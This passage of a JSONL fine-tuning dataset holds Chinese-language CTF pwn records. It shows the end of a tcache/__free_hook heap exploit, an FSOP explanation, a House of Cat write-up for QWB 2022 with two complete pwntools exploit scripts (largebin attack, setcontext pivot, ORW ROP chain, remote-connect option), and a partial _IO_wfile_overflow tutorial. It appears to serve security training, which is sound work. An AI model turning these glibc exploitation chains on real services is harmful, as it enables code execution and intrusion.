'./libc-2.31.so', elf.path])\n    return process([elf.path], env={'LD_PRELOAD': './libc-2.31.so'})\n\n\nio = start()\n\nmenu = b'Input your choice'\n\n\ndef add(size, content):\n    io.sendlineafter(menu, b'1')\n    io.sendlineafter(b'Size :', str(size).encode())\n    io.sendafter(b'Content :', content)\n\n\ndef delete(idx):\n    io.sendlineafter(menu, b'2')\n    io.sendlineafter(b'Index :', str(idx).encode())\n\n\ndef edit(content):\n    io.sendlineafter(menu, b'3')\n    io.sendafter(b'content :', content)\n\n\ndef show(idx):\n    io.sendlineafter(menu, b'4')\n    io.sendlineafter(b'Index :', str(idx).encode())\n\n\n# Layout chunks. add() always uses the monotonically increasing chunk_index,\n# so reallocating a freed chunk can leave old heap metadata after a short read.\nadd(0x500, b'a')              # 0\nadd(0x500, b'/bin/sh\\x00')    # 1, argument for system()\nadd(0x500, b'a')              # 2, freed for unsorted-bin leak\nadd(0x500, b'a')              # 3\nadd(0x100, b'a')              # 4, guard/top separation\n\n# Leak libc from the reused unsorted-bin chunk.\ndelete(2)\nadd(0x500, b'a' * 8)          # 5 overlaps stale ptr[2]\nshow(5)\nio.recvuntil(b'a' * 8)\nleak = u64(io.recvn(6).ljust(8, b'\\x00'))\nlibc_base = leak - 0x1ecbe0   # unsorted-bin fd = main_arena+0x60 for ./libc-2.31.so\nfree_hook = libc_base + libc.sym['__free_hook']\nsystem = libc_base + libc.sym['system']\nmp_ = libc_base + 0x1EC280 + 0x50\n\nlog.success(f'leak      = {hex(leak)}')\nlog.success(f'libc_base = {hex(libc_base)}')\nlog.success(f'__free_hook = {hex(free_hook)}')\nlog.success(f'system    = {hex(system)}')\n\n# After enlarging mp_.tcache_bins, size 0x510 can use an out-of-bounds\n# tcache bin. Poison that OOB tcache entry to return __free_hook, then write system.\nedit(p64(mp_))\ndelete(3)\ndelete(0)\nadd(0x500, p64(0) * 13 + p64(free_hook))\nadd(0x500, p64(system))\n\n# free('/bin/sh') -> system('/bin/sh')\ndelete(1)\nio.sendline(b'cat flag 2>/dev/null || cat /flag 2>/dev/null || true')\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 36, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["heap", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-pair-add60aba0d55017a", "original_line": 149, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "Heap/2024ylb-ezheap", "source_record_id": "pwn101-pair-add60aba0d55017a", "source_split": "train", "split": "train", "split_group_key": "7933ffafbeef0f39ef84338f"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "Heap/2024ylb-ezheap", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-619c83b391ccec0ce2a9", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「FSOP」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## FSOP\nFSOP（ File Stream Oriented Programming ） 的核心思想就是劫持`_IO_list_all`指向伪造的`_IO_FILE_plus` 。之后使程序执行`_IO_flush_all_lockp`函数。该函数会刷新`_IO_list_all`链表中所有项的文件流，相当于对每个 FILE 调用`fflush`，也对应着会调用`_IO_FILE_plus.vtable`中的`_IO_overflow` 。\n\n```plain\nint\n_IO_flush_all_lockp (int do_lock)\n{\n  int result = 0;\n  FILE *fp;\n\n#ifdef _IO_MTSAFE_IO\n  _IO_cleanup_region_start_noarg (flush_cleanup);\n  _IO_lock_lock (list_all_lock);\n#endif\n\n  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)\n    {\n      run_fp = fp;\n      if (do_lock)\n\t_IO_flockfile (fp);\n\n      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n\t   || (_IO_vtable_offset (fp) == 0\n\t       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n\t\t\t\t    > fp->_wide_data->_IO_write_base))\n\t   )\n\tresult = EOF;\n\n      if (do_lock)\n\t_IO_funlockfile (fp);\n      run_fp = NULL;\n    }\n}\n```\n\n而`_IO_flush_all_lockp`不需要攻击者手动调用，在一些情况下这个函数会被系统调用：\n\n+ 当 libc 执行`abort`流程时\n+ 当执行`exit`函数时\n+ 当执行流从`main`函数返回时\n\n在 ptmalloc 中分配或释放堆块失败就会调用`malloc_printerr`，`malloc_printerr`会调用`__libc_message`，而`__libc_message`则会调用`abort`，最后`abort`则会调用`_IO_flush_all_lockp`。但是这个代码在 libc 2.27 及以后的 libc 就删除了，所以这个操作仅仅在 2.27 以前可行。\n\n```plain\nmalloc_printerr\n\n_libc_message\n\nabort\n\t|\n_IO_flush_all_lockp\n\nJUMP_FILED(_IO_overflow_t,__overflow)\n```\n\nFSOP 利用条件，首先需要获取 libc 基址，因为`_IO_list_all`是作为全局变量存储在 libc 中的，不泄露 libc 基址就不能改写`_IO_list_all`。\n\n之后需要用任意地址写把`_IO_list_all`的内容改为指向我们可控内存的指针，之后的问题是在可控内存中布置什么数据，毫无疑问的是需要布置一个我们理想函数的`vtable`指针。但是为了能够让我们构造的 fake_FILE 能够正常工作，还需要布置一些其他数据。\n\n+ `fp->_mode <= 0`\n+ `fp->_IO_write_ptr > fp -> IO_write_base`\n\n```plain\nif (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n\t   || (_IO_vtable_offset (fp) == 0\n\t       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr\n\t\t\t\t    > fp->_wide_data->_IO_write_base))\n\t   )\n\tresult = EOF;\n```\n\n利用总结：\n\n1. 在一块可控内存处布置好 fake_vtable 与 fake_fp\n\n```plain\nfake_vtable.overflow = system\nfake_fp.flags = \"sh\"\nfake_fp.mode = 0\nfake_fp.writeptr > fake_fp.writebase\nfake_fp.vtable = fake_vtable\n```\n\n1. 通过任意地址写，覆盖`_IO_list_all`为`fake_fp`\n2. 触发`_IO_flush_all_lockp`\n\n劫持 `_IO_list_all` 的方式有两种：\n\n+ 修改 IO_FILE 结构体，为了不影响 IO 建议修改 `_IO_2_1_stderr` 结构体。\n+ 利用例如 large bin attack 的攻击方法将 `_IO_list_all` 覆盖成一个 chunk 地址，然后在该 chunk 上伪造 IO_FILE 结构体。\n\n在劫持 `_IO_2_1_stderr` 时除了修改 `vtable` 指针指向伪造 `vtable` 外，要想调用 `_IO_overflow` ，还需要修改 `_IO_2_1_stderr` 以满足以下条件：\n\n+ `fp->_mode <= 0`\n+ `fp->_IO_write_ptr > fp->_IO_write_base`\n\n因此不妨将 vtable 伪造在 `_IO_2_1_stderr + 0x10` 处使 `_IO_2_1_stderr` 的 `fp->_IO_write_ptr` 恰好对应于 `vtable` 的 `_IO_overflow` 。然后将 `fp->_IO_write_ptr` 写入 `system` 函数地址。由于 `_IO_overflow` 传入的参数为 `_IO_2_1_stderr` 结构体，因此将结构体其实位置处写入 `/bin/sh` 字符串。\n\n[图片: Pasted image 20250412234530.png]\n\n\n```python\nfake_file = b\"\"\nfake_file += b\"/bin/sh\\x00\"  # _flags, an magic number\nfake_file += p64(0)  # _IO_read_ptr\nfake_file += p64(0)  # _IO_read_end\nfake_file += p64(0)  # _IO_read_base\nfake_file += p64(0)  # _IO_write_base\nfake_file += p64(libc.sym['system'])  # _IO_write_ptr\nfake_file += p64(0)  # _IO_write_end\nfake_file += p64(0)  # _IO_buf_base;\nfake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)\nfake_file += p64(0) * 4  # from _IO_save_base to _markers\nfake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr\nfake_file += p32(2)  # _fileno for stderr is 2\nfake_file += p32(0)  # _flags2, usually 0\nfake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1\nfake_file += p16(0)  # _cur_column\nfake_file += b\"\\x00\"  # _vtable_offset\nfake_file += b\"\\n\"  # _shortbuf[1]\nfake_file += p32(0)  # padding\nfake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock\nfake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1\nfake_file += p64(0)  # _codecvt, usually 0\nfake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1\nfake_file += p64(0) * 3  # from _freeres_list to __pad5\nfake_file += p32(0xFFFFFFFF)  # _mode, usually -1\nfake_file += b\"\\x00\" * 19  # _unused2\nfake_file = fake_file.ljust(0xD8, b'\\x00')  # adjust to vtable\nfake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-0eeca0f9a7667782", "original_line": 242, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-0eeca0f9a7667782", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-69f9387bbc1c3f0f51e5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `IO-FILE/house of cat/强网杯2022houseofcat` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`IO-FILE/house of cat/强网杯2022houseofcat`\n\n## Writeup 蒸馏\n# 强网杯 2022 houseofcat WP\n\n## 题目信息\n\n```text\nArch: amd64\nRELRO: Full RELRO\nCanary: enabled\nNX: enabled\nPIE: enabled\nSHSTK/IBT: enabled\nlibc: glibc 2.35\n```\n\n题目开启 seccomp，不能直接 `system(\"/bin/sh\")`，利用目标应转为 ORW：`open(\"flag\") -> read -> write`。\n\n本地运行建议使用 2.35 loader 加载当前目录随题 `libc.so.6`：\n\n```bash\n/tools/binary/glibc-all-in-one/libs/2.35/64/ld-linux-x86-64.so.2 --library-path . ./houseofcat\n```\n\n## 程序逻辑\n\n程序启动后循环读取一行命令，命令解析逻辑比较绕：\n\n- 先输入 `LOGIN | r00t QWBQWXF admin`，会设置全局登录标记。\n- 后续每次菜单操作前都要输入 `CAT | r00t QWB QWXF$\\xff`，其中最后的 `\\xff` 要匹配 `.data` 中的魔数。\n- 菜单功能如下：\n  - `add`: idx 范围 `0..15`，只允许 size 在 `0x418..0x46f`，通过 `calloc(1, size)` 分配并读取内容。\n  - `delete`: 直接 `free(ptr[idx])`。\n  - `show`: 固定输出 `ptr[idx]` 的前 `0x30` 字节。\n  - `mini edit`: 只允许调用 2 次，每次向 `ptr[idx]` 读取 `0x30` 字节。\n\n核心漏洞：`delete` 后没有清空 `ptr[idx]` 和 `size[idx]`，因此可以 UAF `show` 泄露，也可以 UAF `edit` 修改 freed large chunk 的 bin metadata。\n\n## 泄露\n\n构造三个 large chunk：\n\n```python\nadd(0, 0x420, b'aaa')\nadd(1, 0x430, b'bbb')\nadd(2, 0x418, b'ccc')\ndelete(0)\nadd(3, 0x440, b'ddd')\nshow(0)\n```\n\n`show(0)` 输出 freed chunk 的 unsorted bin 指针，可同时得到 libc 和 heap：\n\n```python\nlibc_base = u64(leak[0:6].ljust(8, b'\\x00')) - 0x21a0d0\nheap_base = u64(leak[16:22].ljust(8, b'\\x00')) - 0x290\n```\n\n其中 `0x21a0d0` 是该 libc 下泄露出来的 `main_arena` 相关偏移。\n\n## 利用思路\n\nglibc 2.35 没有 malloc hook，且 seccomp 限制下不能 getshell，所以用 House of Cat：\n\n1. UAF 修改 largebin metadata。\n2. largebin attack 覆盖 `stderr` 指针，让它指向堆上的 fake `_IO_FILE`。\n3. 伪造 `_IO_FILE`、`_wide_data` 和 `_IO_wfile_jumps + 0x10`。\n4. 再次 largebin attack 覆盖 top chunk size，触发 `__malloc_assert`。\n5. glibc 报错路径会使用 `stderr`，从而走到 fake FILE 的 wide vtable 调用链。\n6. fake wide vtable 中布置 `setcontext+61`，把栈迁移到堆上 ROP。\n7. ROP 执行 ORW 读取 `flag`。\n\n关键 libc offset：\n\n```text\nstderr           = libc_base + 0x21a860\nsetcontext       = libc_base + 0x53a30\nread             = libc_base + 0x114980\nwrite            = libc_base + 0x114a20\nclose            = libc_base + 0x115100\n_IO_wfile_jumps  = libc_base + 0x2160c0\nsyscall; ret     = libc_base + 0x91396\n```\n\n## House of Cat 布局\n\nfake `_IO_FILE` 放在堆上，以 `_IO_wfile_jumps + 0x10` 作为 vtable，并把 wide-data 相关字段指向可控区域：\n\n```python\nfake  = p64(0) * 4\nfake += p64(0) + p64(0)\nfake += p64(1) + p64(0)\nfake += p64(heap_base + 0xc18 - 0x68)    # rdx for setcontext+61\nfake += p64(setcontext + 61)             # controlled indirect call target\nfake  = fake.ljust(0x78, b'\\x00')\nfake += p64(heap_base + 0x200)           # _lock\nfake  = fake.ljust(0x90, b'\\x00')\nfake += p64(heap_base + 0xb30)           # _wide_data\nfake  = fake.ljust(0xc8, b'\\x00')\nfake += p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x10)\nfake += p64(0) * 6\nfake += p64(heap_base + 0xb40)\n```\n\n`setcontext+61` 会根据伪造的上下文恢复寄存器和 `rsp`，最终把执行流转移到堆上 ROP。\n\n## largebin attack #1：劫持 stderr\n\n释放承载 fake FILE 的 large chunk 后，用 UAF `edit(0)` 修改其 metadata：\n\n```python\nedit(0,\n    p64(libc_base + 0x21a0d0) * 2 +\n    p64(heap_base + 0x290) +\n    p64(stderr - 0x20)\n)\nadd(5, 0x440, b'aaaaa')\n```\n\n这一步利用 largebin unlink/insert 过程中的写入，把 `stderr` 改成 fake `_IO_FILE` 的堆地址。\n\n## ROP 链\n\n因为 seccomp 限制，ROP 用 ORW。先关闭 fd 0，再 `open(\"flag\", 0)`，这样新打开的 flag 文件会复用 fd 0，方便后续 `read(0, ...)`：\n\n```python\nrop = flat([\n    pop_rdi, 0, close,\n    pop_rdi, flag_addr, pop_rsi, 0, pop_rax, 2, syscall_ret,\n    pop_rdi, 0, pop_rsi, flag_addr, pop_rdx_r12, 0x50, 0, read,\n    pop_rdi, 1, write,\n])\n```\n\n## largebin attack #2：触发 __malloc_assert\n\n第二次利用 UAF 修改 largebin metadata，目标是 top chunk size 附近：\n\n```python\nedit(5,\n    p64(libc_base + 0x21a0e0) * 2 +\n    p64(heap_base + 0x1370) +\n    p64(heap_base + 0x28e0 - 0x20 + 3)\n)\n```\n\n随后再申请一个 `0x450` 大小 chunk，触发 malloc 检查失败，进入 `__malloc_assert`；该路径会使用已被劫持的 `stderr`，从而启动 fake FILE 调用链并执行 ORW ROP：\n\n```python\ncmd_gate()\np.sendlineafter(b'plz input your cat choice:\\n', b'1')\np.sendlineafter(b'plz input your cat idx:', b'11')\np.sendlineafter(b'plz input your cat size:', str(0x450).encode())\n```\n\n## 完整 exp\n\n完整脚本已整理到当前目录：[`exp.py`](./exp.py)。本地测试：\n\n```bash\nprintf '[FLAG_REDACTED]\\n' > flag\npython3 ./exp.py\n```\n\n验证输出中成功泄露地址并读出 dummy flag：\n\n```text\n[+] libc_base = 0x...\n[+] heap_base = 0x...\n[FLAG_REDACTED]\n```\n\n远程使用：\n\n```bash\npython3 ./exp.py --remote --host  --port \n```\n\n## Exploit 关键代码\n### IO-FILE/house of cat/强网杯2022houseofcat/exp.py\n```python\n#!/usr/bin/env python3\nfrom pwn import *\nimport argparse\nimport os\n\ncontext.binary = ELF('./houseofcat', checksec=False)\ncontext.arch = 'amd64'\ncontext.log_level = os.environ.get('LOG', 'info')\nlibc = ELF('./libc.so.6', checksec=False)\n\nDEFAULT_LD = '/tools/binary/glibc-all-in-one/libs/2.35/64/ld-linux-x86-64.so.2'\n\n\ndef parse_args():\n    ap = argparse.ArgumentParser(description='QWB 2022 houseofcat exploit')\n    ap.add_argument('--remote', action='store_true', help='connect remote instead of local process')\n    ap.add_argument('--host', default='TARGET_IP')\n    ap.add_argument('--port', type=int, default=9999)\n    ap.add_argument('--ld', default=DEFAULT_LD, help='glibc 2.35 loader path for local run')\n    ap.add_argument('--libc-dir', default='.', help='directory containing libc.so.6')\n    ap.add_argument('--gdb', action='store_true')\n    return ap.parse_args()\n\n\nargs = parse_args()\n\n\ndef start():\n    if args.remote:\n        return remote(args.host, args.port)\n    if os.path.exists(args.ld):\n        return process([args.ld, '--library-path', args.libc_dir, './houseofcat'])\n    log.warning('loader not found, falling back to system loader; this may crash if libc mismatches')\n    return process('./houseofcat', env={'LD_PRELOAD': './libc.so.6'})\n\n\np = start()\n\n\ndef cmd_gate():\n    # Type CAT + pass parser checks. Final \\xff is compared with the global magic byte.\n    p.sendafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF$\\xff')\n\n\ndef add(idx, size, data):\n    cmd_gate()\n    p.sendlineafter(b'plz input your cat choice:\\n', b'1')\n    p.sendlineafter(b'plz input your cat idx:\\n', str(idx).encode())\n    p.sendlineafter(b'plz input your cat size:\\n', str(size).encode())\n    p.sendafter(b'plz input your content:\\n', data)\n\n\ndef delete(idx):\n    cmd_gate()\n    p.sendlineafter(b'plz input your cat choice:\\n', b'2')\n    p.sendlineafter(b'plz input your cat idx:\\n', str(idx).encode())\n\n\ndef show(idx):\n    cmd_gate()\n\n# ... 中间内容省略，保留关键利用片段 ...\n\ndef edit(idx, data):\n# 1. UAF on large chunk: delete does not clear ptr/size, show can leak freed chunk metadata.\ndelete(0)\nshow(0)\n# 2. Prepare fake _IO_FILE + setcontext target and ORW ROP chain in heap.\nfake += p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x10)\ndelete(2)\ndelete(6)\nedit(0, p64(libc_base + 0x21a0d0) * 2 + p64(heap_base + 0x290) + p64(stderr - 0x20))\n# 4. Largebin attack #2: corrupt top chunk size, then malloc triggers __malloc_assert.\ndelete(5)\ndelete(8)\nedit(5, p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1370) + p64(heap_base + 0x28e0 - 0x20 + 3))\n    gdb.attach(p, 'b *_IO_wfile_seekoff')\n```\n\n### IO-FILE/house of cat/强网杯2022houseofcat/houseofcat.py\n```python\nfrom pwn import *\np=process('./houseofcat')\nlibc=ELF('./libc.so.6')\ncontext.log_level='debug'\nr = lambda x: p.recv(x)\nra = lambda: p.recvall()\nrl = lambda: p.recvline(keepends=True)\nru = lambda x: p.recvuntil(x, drop=True)\nsl = lambda x: p.sendline(x)\nsa = lambda x, y: p.sendafter(x, y)\nsla = lambda x, y: p.sendlineafter(x, y)\nia = lambda: p.interactive()\nc = lambda: p.close()\nli = lambda x: log.info(x)\ndb = lambda: gdb.attach(p)\nsa('mew mew mew~~~~~~','LOGIN | r00t QWBQWXF admin')\ndef add(idx,size,cont):\n    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\n    sla('plz input your cat choice:\\n',str(1))\n    sla('plz input your cat idx:\\n',str(idx))\n    sla('plz input your cat size:\\n',str(size))\n    sa('plz input your content:\\n',cont)\ndef delete(idx):\n    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\n    sla('plz input your cat choice:\\n', str(2))\n    sla('plz input your cat idx:\\n',str(idx))\ndef show(idx):\n    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\n    sla('plz input your cat choice:\\n', str(3))\n    sla('plz input your cat idx:\\n',str(idx))\ndef edit(idx,cont):\n    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\n    sla('plz input your cat choice:\\n', str(4))\n    sla('plz input your cat idx:\\n',str(idx))\n    sa('plz input your content:\\n', cont)\n#gdb.attach(p,'b* $rebase(0x1DDD)')\nadd(0,0x420,'aaa')\nadd(1,0x430,'bbb')\nadd(2,0x418,'ccc')\ndelete(0)\nadd(3,0x440,'ddd')\nshow(0)\nru('Context:\\n')\nlibcbase=u64(p.recv(6).ljust(8,'\\x00'))-0x21a0d0\ninfo('libc->'+hex(libcbase))\nrdi=libcbase+0x000000000002a3e5\nrsi=libcbase+0x000000000002be51\nrdxr12=libcbase+0x000000000011f497\nret=libcbase+0x0000000000029cd6\nrax=libcbase+0x0000000000045eb0\nstderr=libcbase+libc.sym['stderr']\nsetcontext=libcbase+libc.sym['setcontext']\nclose=libcbase+libc.sym['close']\nread=libcbase+libc.sym['read']\nwrite=libcbase+libc.sym['write']\nsyscallret=libcbase+libc.search(asm('syscall\\nret')).next()\np.recv(10)\nheapaddr=u64(p.recv(6).ljust(8,'\\x00'))-0x290\ninfo('heap->'+hex(heapaddr))\n#fake IO\nioaddr=heapaddr+0xb00\nnext_chain = 0\nfake_IO_FILE = p64(0)*4\nfake_IO_FILE +=p64(0)\nfake_IO_FILE +=p64(0)\nfake_IO_FILE +=p64(1)+p64(0)\nfake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdx\nfake_IO_FILE +=p64(setcontext+61)#call addr\nfake_IO_FILE = fake_IO_FILE.ljust(0x58, '\\x00')\nfake_IO_FILE += p64(0 )  # _chain\nfake_IO_FILE = fake_IO_FILE.ljust(0x78, '\\x00')\nfake_IO_FILE += p64(heapaddr+0x200)  # _lock = writable address\nfake_IO_FILE = fake_IO_FILE.ljust(0x90, '\\x00')\nfake_IO_FILE +=p64(heapaddr+0xb30) #rax1\nfake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\\x00')\nfake_IO_FILE += p64(1)  # _mode = 0\nfake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\\x00')\nfake_IO_FILE += p64(libcbase+0x2160d0)  # vtable=IO_wfile_jumps+0x10\nfake_IO_FILE +=p64(0)*6\nfake_IO_FILE += p64(heapaddr+0xb30+0x10)  # rax2\nflagaddr=heapaddr+0x17d0\npayload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret)\ndelete(2)\nadd(6,0x418,payload1)\ndelete(6)\n#large bin attack stderr poiniter\nedit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))\nadd(5,0x440,'aaaaa')\nadd(7,0x430,'flag')\nadd(8,0x430,'eee')\n#rop\npayload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)\nadd(9,0x430,payload)\ndelete(5)\nadd(10,0x450,p64(0)+p64(1))\ndelete(8)\n# large bin attack topchunk's size\nedit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3))\n#trigger __malloc_assert\nsa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\\xff')\nsla('plz input your cat choice:\\n',str(1))\nsla('plz input your cat idx:',str(11))\ngdb.attach(p,'b* (_IO_wfile_seekoff)')\nsla('plz input your cat size:',str(0x450))\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 42, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-pair-fb7714bab5548618", "original_line": 276, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat", "source_record_id": "pwn101-pair-fb7714bab5548618", "source_split": "train", "split": "train", "split_group_key": "f85ca8d9ddff7e81ec681980"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/house of cat/强网杯2022houseofcat", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6b4699d78c70b2712bc8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「_IO_wfile_overflow」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### _IO_wfile_overflow\n\n`_wide_data` 结构中有一个类似 `vtable` 的 `_wide_vtable` 指向 `_IO_jump_t` 结构。\n\n与 `vtable` 相同，对 glibc 中也定义了调用 `_wide_vtable` 中函数的宏，其中在 glibc 中真正使用到的有 `_IO_WSETBUF`、`_IO_WUNDERFLOW`、`_IO_WDOALLOCATE`，但与 `vtable` 不同的是这三个宏均缺少对 `_wide_vtable` 位置的检查。\n\n例如 `_IO_OVERFLOW` 的宏在调用 `__overflow` 函数之前调用了 `IO_validate_vtable` 检查 `vtable` 位置的合法性。\n\n```c\n#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)\n#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)\n#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))\n```\n\n而 `_IO_WOVERFLOW` 没有检查。\n\n```c\n#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)\n#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)\n#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)\n#define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable\n```\n\n因此可以通过修改 `vtable` 改变程序执行流程，使程序调用 `_wide_vtable` 中的函数，然后再将 `_wide_vtable` 指向一个伪造的函数表从而劫持程序执行流程。\n\n[图片: image]\n\n**利用_IO_wfile_overflow函数控制程序执行流**\n\n对`fp`的设置如下：\n\n+ `_flags`设置为`~(2 | 0x8 | 0x800)`，如果不需要控制`rdi`，设置为`0`即可；如果需要获得`shell`，可设置为`;sh;` 。\n+ `vtable`设置为`_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap`地址（加减偏移），使其能成功调用`_IO_wfile_overflow`即可\n+ `_wide_data`设置为可控堆地址`A`，即满足`*(fp + 0xa0) = A`\n+ `_wide_data->_IO_write_base`设置为`0`，即满足`*(A + 0x18) = 0`\n+ `_wide_data->_IO_buf_base`设置为`0`，即满足`*(A + 0x30) = 0`\n+ `_wide_data->_wide_vtable`设置为可控堆地址`B`，即满足`*(A + 0xe0) = B`\n+ `_wide_data->_wide_vtable->doallocate`设置为地址`C`用于劫持`RIP`，即满足`*(B + 0x68) = C`\n\n函数的调用链如下：\n\n```plain\n`_IO_wfile_overflow`\n    `_IO_wdoallocbuf`\n        `_IO_WDOALLOCATE`\n            `*(fp->_wide_data->_wide_vtable + 0x68)(fp)`\n```\n\n详细分析如下：\n\n首先看`_IO_wfile_overflow`函数\n\n```c\nwint_t\n_IO_wfile_overflow (FILE *f, wint_t wch)\n{\n  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */\n    {\n      f->_flags |= _IO_ERR_SEEN;\n      __set_errno (EBADF);\n      return WEOF;\n    }\n  /* If currently reading or no buffer allocated. */\n  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)\n    {\n      /* Allocate a buffer if needed. */\n      if (f->_wide_data->_IO_write_base == 0)\n    {\n      _IO_wdoallocbuf (f);// 需要走到这里\n      // ......\n    }\n    }\n}\n```\n\n需要满足`f->_flags & _IO_NO_WRITES == 0`并且`f->_flags & _IO_CURRENTLY_PUTTING == 0`和`f->_wide_data->_IO_write_base == 0`\n\n然后看`_IO_wdoallocbuf`函数：\n\n```c\nvoid\n_IO_wdoallocbuf (FILE *fp)\n{\n  if (fp->_wide_data->_IO_buf_base)\n    return;\n  if (!(fp->_flags & _IO_UNBUFFERED))\n    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)  // _IO_WXXXX调用\n      return;\n  _IO_wsetb (fp, fp->_wide_data->_shortbuf,\n             fp->_wide_data->_shortbuf + 1, 0);\n}\n\nlibc_hidden_def 